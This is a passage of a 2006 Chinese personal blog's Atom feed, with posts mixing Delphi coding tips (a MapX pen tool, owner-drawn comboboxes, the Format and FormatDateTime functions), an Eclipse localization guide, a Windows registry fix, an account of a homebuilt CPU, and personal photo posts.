<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_pMap.OnMouseUp:=m_IriMouseUpEvent; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_pMap.OnMouseDown:=m_IriMouseDownEvent; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_IriMouseMoveEvent:=nil; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_IriMouseUpEvent:=nil; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_IriMouseDownEvent:=nil; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_pMap:=nil; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result:=True; <BR>&nbsp;&nbsp;&nbsp;&nbsp;end <BR>&nbsp;&nbsp;&nbsp;&nbsp;else <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result:=False; <BR>end; <BR>Function TFlowPen.GetToolNum():Integer; <BR>begin <BR>&nbsp;&nbsp;result:=MAP_TOOL_FLOWPEN; <BR>end; <BR>end. </P>
<P>//使用时初试化 <BR>&nbsp;&nbsp;m_FlowPenTool:=TFlowPen.Create; <BR>&nbsp;&nbsp;m_FlowPenTool.CreateFlowPenTool(Map1); <BR>//开始使用FlowPen <BR>Map1.CurrentTool:=m_FlowPenTool.GetToolNum(); </P>
<P>//MapX.RedrawInterval设置为30或更大效果会比较好</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=234" /> 
	  <id>http://www.openx.cn/default.asp?id=234</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[qq列人头像那种效果的combolistbox是这样做的]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-03-13T15:28:31+08:00</updated>
	  <published>2006-03-13T15:28:31+08:00</published>
		  <summary type="html"><![CDATA[procedure TFrmPrint.UpdateImageList;<BR>var<BR>MyImage:TAllImage;<BR>MyLabel:TLabel;<BR>SPos,i, j:integer;<BR>NumOfDICOMFrame:integer;<BR>begin<BR>for i := scbImageList.ComponentCount - 1 downto 0 do<BR>scbImageList.Components[i].free;<BR><BR><BR>//图象列表<BR>//FindFiles(sPath:string;var FileBuf:TStringList;var fileCount:integer); //返回目录下所有文件名 ,数目<BR>FindFiles( CurrentExam.ImagePath,FileBuf,ImageNum);<BR><BR>if ImageNum=0 then<BR>begin<BR>exit;//没有图象的情况<BR>pictureNum:=1;<BR>end;<BR>ImageNum:=fileCount;//图象数目<BR>j:=1;<BR>for i := 1 to (ImageNum) do<BR>begin<BR>//为图像预留空间<BR>MyImage := TAllImage.Create(scbImageList);<BR>MyImage.Parent := scbImageList;<BR>imgPath:=FileBuf[i];<BR>if imgPath[length(imgPath)]&lt;&gt;＇\＇ then<BR>imgPath:=imgPath+＇\＇; //得到图像路径<BR>MyImage.Hint := FileBuf[i]; //图像的提示性文字是该图像的文件名<BR><BR>MyImage.Filename:=MyImage.Hint;<BR><BR>SPos := scbImageList.VertScrollBar.ScrollPos;<BR>MyImage.TOP := (j - 1) * 75+25*j -sPos;;<BR>//MyImage.TOP := (j - 1) * 100 + 5*j -sPos;;<BR>MyImage.Left := 10;<BR>MyImage.Height := 75;<BR>MyImage.Width := 100;<BR>MyImage.Stretch := true;<BR><BR>MyImage.Filename:=MyImage.Hint;<BR>// MyImage.GetFirstFrame;<BR><BR>MyImage.ShowHint := true;<BR>MyImage.OnClick := OnImgClick; {---加图象到报表中---}<BR>j:= j + 1;<BR><BR>end;<BR><BR>MyImage.Free;<BR>procedure TFrmPrint.UpdateImageList;<BR>var<BR>MyImage:TAllImage;<BR>MyLabel:TLabel;<BR>SPos,i, j:integer;<BR>NumOfDICOMFrame:integer;<BR>begin<BR>for i := scbImageList.ComponentCount - 1 downto 0 do<BR>scbImageList.Components[i].free;<BR><BR><BR>//图象列表<BR>//FindFiles(sPath:string;var FileBuf:TStringList;var fileCount:integer); //返回目录下所有文件名 ,数目<BR>FindFiles( CurrentExam.ImagePath,FileBuf,ImageNum);<BR><BR>if ImageNum=0 then<BR>begin<BR>exit;//没有图象的情况<BR>pictureNum:=1;<BR>end;<BR>ImageNum:=fileCount;//图象数目<BR>j:=1;<BR>for i := 1 to (ImageNum) do<BR>begin<BR>//为图像预留空间<BR>MyImage := TAllImage.Create(scbImageList);<BR>MyImage.Parent := scbImageList;<BR>imgPath:=FileBuf[i];<BR>if imgPath[length(imgPath)]&lt;&gt;＇\＇ then<BR>imgPath:=imgPath+＇\＇; //得到图像路径<BR>MyImage.Hint := FileBuf[i]; //图像的提示性文字是该图像的文件名<BR><BR>MyImage.Filename:=MyImage.Hint;<BR><BR>SPos := scbImageList.VertScrollBar.ScrollPos;<BR>MyImage.TOP := (j - 1) * 75+25*j -sPos;;<BR>//MyImage.TOP := (j - 1) * 100 + 5*j -sPos;;<BR>MyImage.Left := 10;<BR>MyImage.Height := 75;<BR>MyImage.Width := 100;<BR>MyImage.Stretch := true;<BR><BR>MyImage.Filename:=MyImage.Hint;<BR>// MyImage.GetFirstFrame;<BR><BR>MyImage.ShowHint := true;<BR>MyImage.OnClick := OnImgClick; {---加图象到报表中---}<BR>j:= j + 1;<BR><BR>end;<BR><BR>MyImage.Free;<BR><BR>1, ComboBox.style := csOwnerDrawFixed;<BR>2。ComboBox1.ItemHeight = 32;<BR>3。ComboBox1.DropDownCount = 2;<BR>在Form上放一个TImageList，把它的Height属性设为32，然后随便加几个OICQ的bmp文件；<BR><BR>procedure TForm1.ComboBox1DrawItem(Control: TWinControl; Index: Integer;<BR>Rect: TRect; State: TOwnerDrawState);<BR>begin<BR>ComboBox1.Canvas.Brush.Color := clWindow;<BR>if odSelected in State then ComboBox1.Canvas.Brush.Color := clHighLight;<BR>ComboBox1.Canvas.FillRect(Rect);<BR>ImageList1.Draw(ComboBox1.Canvas, Rect.Left, Rect.Top, Index);<BR>end;<BR><BR><BR>procedure TForm1.ComboBox1DropDown(Sender: TObject);<BR>begin<BR>if ComboBox1.Items.Count &lt;&gt; ImageList1.Count then<BR>ComboBox1.Items.Text := StringOfChar(#13, ImageList1.Count);<BR>end;<BR>//添加一个Header<BR>var<BR>myHeader:TmxHeader;<BR>i:integer;<BR>begin<BR>myHeader:=mxOutlookBarPro1.AddHeader;<BR>myHeader.Caption:=＇MyCaption＇;<BR>//添加MyHeader的其他属性<BR>//删除一个MyHeader<BR>mxOutlookbarPro1.DeleteHeader(i);<BR>//修改一个MyHeader<BR>mxOutlookBarPro1.RenameHeaderByIndex(i);<BR><BR>end;<BR>//添加一个Button<BR>var<BR>mybutton:TmxButton;<BR>begin<BR>myButton:=mxOutlookbarPro1.HeaderbyIndex(i).Addbutton;<BR>myButton.Caption:=＇MyCaption＇;<BR>//删除一个myCaption<BR>end;<BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=232" /> 
	  <id>http://www.openx.cn/default.asp?id=232</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[不小心登陆flickr发现的照片]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2006-03-13T13:42:15+08:00</updated>
	  <published>2006-03-13T13:42:15+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://static.flickr.com/22/24209482_cf7fe5ed6a_o.jpg[/img]</P>
<P>只从原blog的服务器硬盘坏掉之前的照片就没上到现在的blog了~</P>
<P>&nbsp;</P>
<P>刚刚在看别人的[img]http://www.flickr.com/images/flickr_logo_beta.gif[/img]不小心登陆了自己的</P>
<P>哈哈居然还留有一张去年在北京坝上的照片~哈哈.钩起了我对那短时间的回忆.</P>
<P>我花了0.001秒时间决定晚上回家第一件事情就是把刻好的照片再拿出来回顾回顾~哈哈~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=231" /> 
	  <id>http://www.openx.cn/default.asp?id=231</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[人类历史上最强的DIY:手工CPU!!!!牛的都不象人了~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-03-13T13:06:02+08:00</updated>
	  <published>2006-03-13T13:06:02+08:00</published>
		  <summary type="html"><![CDATA[<FONT color=#ff0000>注</FONT>：网上看到牛人牛作，总会惊叹，想拿出来给更多的人分享，或许Blog应该写更多关于自己的东西，而不是摘抄，但我觉得Blog的意义就在于大家一起分享，一起交流，“疑义相与析，奇文共欣赏”
<P><FONT color=#ff0000>牛人：</FONT>Bill Buzbee</P>
<P><FONT color=#ff0000>作品：</FONT>Magic-1 CPU 及 Magic-1 computer</P>
<P><FONT color=#ff0000>本文摘自</FONT>：<A href="http://dzh.mop.com/topic/readSub.jsp?sid=5785595">http://dzh.mop.com/topic/readSub.jsp?sid=5785595</A></P>
<P><FONT color=#ff0000>作者网站</FONT>：<A href="http://www.homebrewcpu.com/">http://www.homebrewcpu.com/</A></P>
<P><IMG style="CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://blogbeta.blueidea.com/UploadFiles/2006-3/313203954.jpg" onload="javascript:if(this.width>510){this.resized=true;this.style.width=510;}"></P>
<P>&nbsp;</P>
<P><FONT color=#ff0000>说明</FONT>：“制作Magic-1的念头是在一次午餐中冒出来的”Buzbee说。Buzbee是一位编译器作者，但他为自己不熟悉CPU的实际工作而感到<FONT color=#ff0000>郁闷</FONT>，因此想到动手来亲自作一个CPU。他的朋友Ken想到有一本老杂志曾经介绍过如何使用TTL集成电路来制作极其简单的CPU，并推荐他去看一看。一周后，Buzbee找到了这些文章，并全部读了一遍。然后在下一次午餐上，Buzbee对Ken说起决定自己打造一个CPU，Ken说：<FONT color=#ff0000>为什么不呢？</FONT>于是，Bill Buzbee的Magic-1项目拉开了序幕——</P>
<P>2001年12月6日 Buzbee开始写项目日志，并为自己制定了一张艰难但还算乐观的日程表 <BR>2001年12月18日 完成错误处理和中断机制的基本设计 <BR>2001年12月29日 完成微代码的第一轮设计 <BR>2002年1月6日 完成了Magic-1模拟器，可以对调用/返回指令序列进行跟踪 <BR>2002年1月8日 模拟了Fibonacci函数，并丰富了软件接口约定 <BR>2002年1月13日 Magic-1汇编器（qas）成形 <BR>2002年1月18日 决定是选择大尾数法还是小尾数法表示整数的字节顺序，最终选择了大尾数法 <BR>2002年2月28日 在模拟器中完成了页面错误机制 <BR>2002年3月9日 决定使用普通电线来进行连线 <BR>2002年6月3日 对指令集架构进行了意义重大的改变 <BR>2002年6月4日 用C语言编写了Fabonacci程序并编译为Magic汇编程序 <BR>2002年6月22日 改用分立的数据和代码地址空间 <BR>2002年6月25日 设计用于多进程的上下文环境切换 <BR>2002年7月12日 完成对微代码的重写工作 <BR>2002年8月13日 放弃对rotate指令的支持 <BR>2002年9月11日 上了Gil Smith的一堂电子电路课程 <BR>2002年9月22日 从eBay上买了板材和外壳 <BR>2002年的其他日子 向Ken Sumrall请教如何使用寄存器，从他那里学到了Ohm规则 <BR>2003年3月30日 从Jhon Doran的D16/M中得到了灵感，完成了ALU/寄存器板的架构 2003年4月13日 完成控制板的架构</P>
<P>2003年4月14日 思考前面板的架构 <BR>2003年5月3日 第一轮架构设计完毕 <BR>2003年5月6日 将构建环境从Linux一直到Windows <BR>2003年5月16日 构思新的Magic-1模拟器 <BR>2003年5月27日 在新的模拟器上成功运行了Fibonacci程序 <BR>2003年6月3日 完成了新的汇编器功能 <BR>2003年6月21日 Magic架构验证和测试用例达到了100%覆盖率 <BR>2003年6月23日 Alistair Roe通过email提出了Magic-1外壳的构想 <BR>2003年8月3日 将LCC（C编译器）一直到了Magic上 <BR>2003年8月10日 在模拟器上成功地实现了Fibonacci程序的C语言版本 （这一天是Buzbee的生日） <BR>2003年8月27日 从David Conroy那里学到了信号完整性 <BR>2003年9月18日 决定使用普通的带皮电线进行连接（奇怪，前面已经决定一次了） <BR>2004年1月3日 完成了全部的设计工作，开始制作 <BR>2004年1月18日 Magic-1有了第一次心跳 <BR>2004年1月26日 前面板完成 <BR>2004年2月9日 内存板完成 <BR>2004年2月20日 EPROM子板完成 <BR>2004年2月26日 设备板完成 <BR>2004年3月7日 微代码序列成功运转 <BR>2004年3月9日 执行了第一条指令 <BR>2004年3月19日 控制板完成 <BR>2004年4月8日 尝试发布前期的工作 <BR>2004年4月12日 ALU/寄存器板完成；同日被告知，发布尝试失败 <BR>2004年4月13日 Magic-1成功运行了Fibonacci程序！ <BR>2004年4月25日 Dave Conroy的测试会话发现了不真实的内存碎片 <BR>2004年5月3日 Magic-1能“说话”了 <BR>2004年5月8日 运行“Sieve of Erasthones”基准 <BR>2004年5月16日 完成了IDE接口，Alistair Roe完成了外壳设计 <BR>2004年7月23日 发布基本架构 <BR>2004年9月12日 用户模式程序可以工作 <BR>2004年9月15日 运行“Dhrystone”基准 <BR>2004年9月22日 使用copy-on-write实现了fork() <BR>2004年10月23日 Magic-1的Dhrystone得分达到了384（0.25MIPS） <BR>2004年10月31日 运行Colossal Cave Adventure <BR>2005年4月9日 Alistair Roe设计的外壳到货 <BR>2005年5月13日 Magic-1的硬件设计完毕<BR><IMG style="WIDTH: 510px; CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://blogbeta.blueidea.com/UploadFiles/2006-3/313446395.jpg" onload="javascript:if(this.width>510){this.resized=true;this.style.width=510;}" resized="true"></P>
<P><IMG style="WIDTH: 510px; CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://blogbeta.blueidea.com/UploadFiles/2006-3/313801638.jpg" onload="javascript:if(this.width>510){this.resized=true;this.style.width=510;}" resized="true"></P>
<P><IMG style="WIDTH: 510px; CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://blogbeta.blueidea.com/UploadFiles/2006-3/313921087.jpg" onload="javascript:if(this.width>510){this.resized=true;this.style.width=510;}" resized="true"></P>
<P><IMG style="WIDTH: 510px; CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://blogbeta.blueidea.com/UploadFiles/2006-3/313950517.jpg" onload="javascript:if(this.width>510){this.resized=true;this.style.width=510;}" resized="true"></P>
<P><IMG style="WIDTH: 510px; CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://blogbeta.blueidea.com/UploadFiles/2006-3/313635745.jpg" onload="javascript:if(this.width>510){this.resized=true;this.style.width=510;}" resized="true"></P>
<P><IMG style="WIDTH: 510px; CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://blogbeta.blueidea.com/UploadFiles/2006-3/313573205.jpg" onload="javascript:if(this.width>510){this.resized=true;this.style.width=510;}" resized="true"></P>
<P><IMG style="WIDTH: 510px; CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://blogbeta.blueidea.com/UploadFiles/2006-3/313323595.jpg" onload="javascript:if(this.width>510){this.resized=true;this.style.width=510;}" resized="true"></P>
<P><IMG style="WIDTH: 510px; CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://blogbeta.blueidea.com/UploadFiles/2006-3/313384254.jpg" onload="javascript:if(this.width>510){this.resized=true;this.style.width=510;}" resized="true"></P>
<P><IMG style="WIDTH: 510px; CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://blogbeta.blueidea.com/UploadFiles/2006-3/313888458.jpg" onload="javascript:if(this.width>510){this.resized=true;this.style.width=510;}" resized="true"></P>
<P>&nbsp;</P>
<P><FONT color=#ff0000>作者的其他作品</FONT>：&nbsp; <A href="http://www.homebrewcpu.com/projects.htm">http://www.homebrewcpu.com/projects.htm</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=230" /> 
	  <id>http://www.openx.cn/default.asp?id=230</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[2006-3-11南江滨]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2006-03-13T08:00:05+08:00</updated>
	  <published>2006-03-13T08:00:05+08:00</published>
		  <summary type="html"><![CDATA[<P>周末天气真的是很好,几个好友带上相机直奔福州南江滨公园.</P>
<P>我当然也带上偶的佳能A85啦~哈哈~虽然不是很专业但总算是400w的机子嘛~拍拍小照片还是可以地呵呵~~~~</P>
<P>[img]attachments/month0603/liao_collage.jpg[/img]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=229" /> 
	  <id>http://www.openx.cn/default.asp?id=229</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[简单的 Eclipse 3.0.1 的汉化]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-03-10T09:56:59+08:00</updated>
	  <published>2006-03-10T09:56:59+08:00</published>
		  <summary type="html"><![CDATA[<P>本文链接：<BR><A href="http://www.openphp.cn/index.php/article/13/116/index.html">http://www.openphp.cn/index.php/article/13/116/index.html</A></P>
<P>作者：深空。来自：<A href="http://www.openphp.cn/">http://www.openphp.cn</A> </P>
<P>　　Eclipse 是一款很强大的 IDE，本站曾经也发过两篇关于使用它配置 PHP 调试环境的文章，现在已经出了 3.0.1 版本和中文语言包了，所以本文简单介绍一下它的汉化方法。</P>
<P>　　下载 Eclipse 3.0.1 和语言包：</P>
<P>　　Eclipse 3.0.1：<A href="http://download.eclipse.org/downloads" target=_blank>http://download.eclipse.org/downloads</A><BR>　　语言包：<A href="http://download2.eclipse.org/downloads/drops/L-3.0.1_Translations-200409161125/index.php" target=_blank>点击这里。</A>&nbsp;建议下载 <STRONG>Platform SDK Language Pack。</STRONG></P>
<P>　　解压缩 eclipse-SDK-3.0.1-win32.zip 到 N<FONT face="Courier New">:\eclipse</FONT>，这里 <STRONG>N </STRONG>表示盘符，目录结构如下：</P>
<P align=center><IMG height=108 alt="" src="http://www.openphp.cn/PCKeditor/userimages/2004102401.gif" width=169 border=0></P>
<P align=left>　　在 eclipse 目录中新建一个名为 <STRONG>language</STRONG> 和 <STRONG>links</STRONG> 的目录，并将下载下来的语言包 NLpack-eclipse-platform-SDK-3.0.x-win32.zip 解压缩到 language 目录中，解压缩后目录结构如下（结构错了就不行了）：</P>
<P align=center><IMG height=191 alt="" src="http://www.openphp.cn/PCKeditor/userimages/2004102402.gif" width=192 border=0></P>
<P align=left>　　在 links 目录里新建一个<STRONG>文本文件</STRONG>，命名为 <STRONG>language.link</STRONG> ，并在文件里写入下列信息：</P>
<P align=left>　　<STRONG><FONT face="Courier New">path=N:\\eclipse\\language</FONT></STRONG></P>
<P align=left>　　其中 <STRONG>N</STRONG> 为您所使用的盘符，记得反斜杠要使用<STRONG> <FONT face="Courier New">\\</FONT></STRONG> 转意，设置 path 指向 language 目录，保存即可。</P>
<P align=left>　　启动 Eclipse 3.0.1，已经是中文的了：</P>
<P align=center><A href="http://www.openphp.cn/PCKeditor/userimages/2004102403.gif?PHPSESSID=2b9dedb32bd5b5164d3df89bdee90184" target=_blank><IMG height=263 alt="" src="http://www.openphp.cn/PCKeditor/userimages/2004102403.gif" width=350 border=0></A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=228" /> 
	  <id>http://www.openx.cn/default.asp?id=228</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[终于有空发布下下昨天的烧烤大餐~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2006-03-06T20:48:54+08:00</updated>
	  <published>2006-03-06T20:48:54+08:00</published>
		  <summary type="html"><![CDATA[<P>昨天晚上在自己家楼顶烧烤来的哦~</P>
<P>美味哇~</P>
<P>[img]attachments/month0603/sqiw_IMG_3190.JPG[/img]</P>
<P>哈哈舒服吧~是不是很专业呀~</P>
<P>[img]attachments/month0603/85wb_IMG_3203.JPG[/img]</P>
<P>酒足肉胞后的狼藉~</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=227" /> 
	  <id>http://www.openx.cn/default.asp?id=227</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Killer New Live.com Service: Street-Side]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-03-02T10:02:51+08:00</updated>
	  <published>2006-03-02T10:02:51+08:00</published>
		  <summary type="html"><![CDATA[<P>看到这个我想说个台词:"老婆,跟牛魔王出来看上帝..."</P>
<P>[img]http://www.techcrunch.com/wp-content/uploads/2006/02/livestreetside.jpg[/img]</P>
<DIV><FONT size=3>微软的live.com2月28日发布了一个新服务的预览版本：<A title="Link outside of this blog" href="http://preview.local.live.com/" target=_blank><EM>Street-Side</EM></A>。这个服务扩展了<A title="Link outside of this blog" href="http://local.live.com/" target=_blank><EM>Live Local</EM></A>服务，提供了整个城市的街道细节级别的视图。你就像开车一样，可以用键盘的上下左右键操纵，在城市的街道间穿梭。</FONT></DIV>
<DIV><FONT size=3></FONT></DIV>
<DIV><A href="http://www.techcrunch.com/"><FONT size=3>Techcrunch</FONT></A><FONT size=3>的《<A href="http://www.techcrunch.com/2006/02/28/killer-new-livecom-service-street-side/">Killer New Live.com Service: Street-Side</A>》作了更详细的报道。</FONT></DIV>
<DIV><FONT size=3>微软员工Robert Scoble的 <A href="http://channel9.msdn.com/Showpost.aspx?postid=166518">Channel 9 Video</A>也作了报道。</FONT></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=225" /> 
	  <id>http://www.openx.cn/default.asp?id=225</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[“以前的某个程序安装已在安装计算机上创建挂起的文件操作。运行安装之前，必须重新启动计算机”的解决办法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-02-28T23:05:10+08:00</updated>
	  <published>2006-02-28T23:05:10+08:00</published>
		  <summary type="html"><![CDATA[a、在开始-&gt;运行中输入regedit&nbsp;<BR>b、到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session&nbsp;Manager&nbsp;位置&nbsp;<BR>c、选择文件-&gt;导出,保存&nbsp;<BR>d、在右边窗口右击PendingFileRenameOperations，选择删除，然后确认&nbsp;<BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=224" /> 
	  <id>http://www.openx.cn/default.asp?id=224</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Format 的用法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-02-28T14:45:40+08:00</updated>
	  <published>2006-02-28T14:45:40+08:00</published>
		  <summary type="html"><![CDATA[Format是一个很常用，却又似乎很烦的方法，本人试图对这个方法的帮助进行一些翻译<BR>，让它有一个完整的概貌，以供大家查询之用：<BR><BR>首先看它的声明：<BR>function Format(const Format: string; const Args: array of const): string; overload;<BR>事实上Format方法有两个种形式，另外一种是三个参数的，主要区别在于它是线程安全的，<BR>但并不多用，所以这里只对第一个介绍：<BR><BR>function Format(const Format: string; const Args: array of const): string; overload;<BR>Format参数是一个格式字符串，用于格式化Args里面的值的。Args又是什么呢，<BR>它是一个变体数组，即它里面可以有多个参数，而且每个参数可以不同。<BR>如以下例子：<BR>Format('my name is %6s',['wind']);<BR>返回后就是<BR>my name is wind<BR><BR>现在来看Format参数的详细情况：<BR>Format里面可以写普通的字符串，比如'my name is' <BR>但有些格式指令字符具有特殊意义，比如"%6s"<BR><BR>格式指令具有以下的形式：<BR>"%" [index ":"] ["-"] [width] ["." prec] type<BR>它是以"%"开始,而以type结束，type表示一个具体的类型。中间是用来<BR>格式化type类型的指令字符，是可选的。<BR><BR>先来看看type,type可以是以下字符：<BR>d 十制数，表示一个整型值<BR>u 和d一样是整型值，但它是无符号的，而如果它对应的值是负的，则返回时<BR>是一个2的32次方减去这个绝对值的数<BR>如：Format('this is %u',[－2]);<BR>返回的是：this is 4294967294<BR>f 对应浮点数<BR>e 科学表示法，对应整型数和浮点数，<BR>比如Format('this is %e',[-2.22]);<BR>返回的是：this is -2.22000000000000E+000<BR>等一下再说明如果将数的精度缩小<BR>g 这个只能对应浮点型，且它会将值中多余的数去掉<BR>比如Format('this is %g',[02.200]);<BR>返回的是：this is 2.2<BR>n 只能对应浮点型，将值转化为号码的形式。看一个例子就明白了<BR>Format('this is %n',[4552.2176]);<BR>返回的是this is 4,552.22<BR>注意有两点，一是只表示到小数后两位，等一下说怎么消除这种情况<BR>二是，即使小数没有被截断，它也不会也像整数部分一样有逗号来分开的<BR>m 钱币类型，但关于货币类型有更好的格式化方法，这里只是简单的格式化<BR>另外它只对应于浮点值<BR>Format('this is %m',[9552.21]);<BR>返回：this is ￥9,552.21<BR>p 对应于指针类型，返回的值是指针的地址，以十六进制的形式来表示<BR>例如：<BR>var X:integer;<BR>p:^integer;<BR>begin<BR>X:=99;<BR>p:=@X;<BR>Edit1.Text:=Format('this is %p',[p]);<BR>end;<BR>Edit1的内容是：this is 0012F548<BR>s 对应字符串类型，不用多说了吧<BR>x 必须是一个整形值，以十六进制的形式返回<BR>Edit1.Text:=Format('this is %X',[15]);<BR>返回是：this is F<BR><BR>类型讲述完毕，下面介绍格式化Type的指令：<BR>[index ":"] 这个要怎么表达呢，看一个例子<BR>Format('this is %d %d',[12,13]);<BR>其中第一个%d的索引是0，第二个%d是1，所以字符显示的时候<BR>是这样 this is 12 13<BR><BR>而如果你这样定义：<BR>Format('this is %1:d %0:d',[12,13]);<BR>那么返回的字符串就变成了<BR>this is 13 12<BR>现在明白了吗，[index ":"] 中的index指示Args中参数显示的<BR>顺序<BR><BR>还有一种情况，如果这样Format('%d %d %d %0:d %d', [1, 2, 3, 4])<BR>将返回1 2 3 1 2。<BR>如果你想返回的是1 2 3 1 4，必须这样定：<BR>Format('%d %d %d %0:d %3:d', [1, 2, 3, 4])<BR>但用的时候要注意，索引不能超出Args中的个数，不然会引起异常<BR>如Format('this is %2:d %0:d',[12,13]);<BR>由于Args中只有12 13 两个数，所以Index只能是0或1，这里为2就错了<BR>[width] 指定将被格式化的值占的宽度，看一个例子就明白了<BR>Format('this is %4d',[12]);<BR>输出是：this is 12<BR>这个是比较容易，不过如果Width的值小于参数的长度，则没有效果。<BR>如：Format('this is %1d',[12]);<BR>输出是：this is 12<BR>["-"] 这个指定参数向左齐，和[width]合在一起最可以看到效果：<BR>Format('this is %-4d,yes',[12]);<BR>输出是：this is 12 ,yes<BR><BR>["." prec] 指定精度，对于浮点数效果最佳：<BR>Format('this is %.2f',['1.1234]);<BR>输出 this is 1.12<BR>Format('this is %.7f',['1.1234]);<BR>输了 this is 1.1234000<BR><BR>而对于整型数，如果prec比如整型的位数小，则没有效果<BR>反之比整形值的位数大，则会在整型值的前面以0补之<BR>Format('this is %.7d',[1234]);<BR>输出是：this is 0001234]<BR><BR>对于字符型，刚好和整型值相反，如果prec比字符串型的长度大<BR>则没有效果，反之比字符串型的长度小，则会截断尾部的字符<BR>Format('this is %.2s',['1234']);<BR>输出是 this is 12<BR><BR>而上面说的这个例子：<BR>Format('this is %e',[-2.22]);<BR>返回的是：this is -2.22000000000000E+000<BR>怎么去掉多余的0呢，这个就行啦<BR>Format('this is %.2e',[-2.22]);<BR><BR>好了，第一个总算讲完了，应该对他的应用很熟悉了吧<BR><BR>///////////////////////////////////////////////////////////////<BR>二 FormatDateTime的用法<BR>他的声明为：<BR>function FormatDateTime(const Format: string; DateTime: TDateTime): string; <BR>overload;<BR>当然和Format一样还有一种，但这里只介绍常用的第一种<BR>Format参数是一个格式化字符串。DateTime是时间类型。返回值是一种格式化后的<BR>字符串<BR><BR>重点来看Format参数中的指令字符<BR>c 以短时间格式显示时间，即全部是数字的表示<BR>FormatdateTime('c',now);<BR>输出为：2004-8-7 9:55:40<BR>d 对应于时间中的日期，日期是一位则显示一位，两位则显示两位<BR>FormatdateTime('d',now);<BR>输出可能为1～31<BR>dd 和d的意义一样，但它始终是以两位来显示的<BR>FormatdateTime('dd',now);<BR>输出可能为01～31<BR>ddd 显示的是星期几<BR>FormatdateTime('ddd',now);<BR>输出为: 星期六<BR>dddd 和ddd显示的是一样的。<BR>但上面两个如果在其他国家可能不一样。<BR>ddddd 以短时间格式显示年月日 <BR>FormatdateTime('ddddd',now);<BR>输出为：2004-8-7<BR>dddddd 以长时间格式显示年月日<BR>FormatdateTime('dddddd',now); <BR>输出为：2004年8月7日<BR>e/ee/eee/eeee 以相应的位数显示年<BR>FormatdateTime('ee',now); <BR>输出为：04 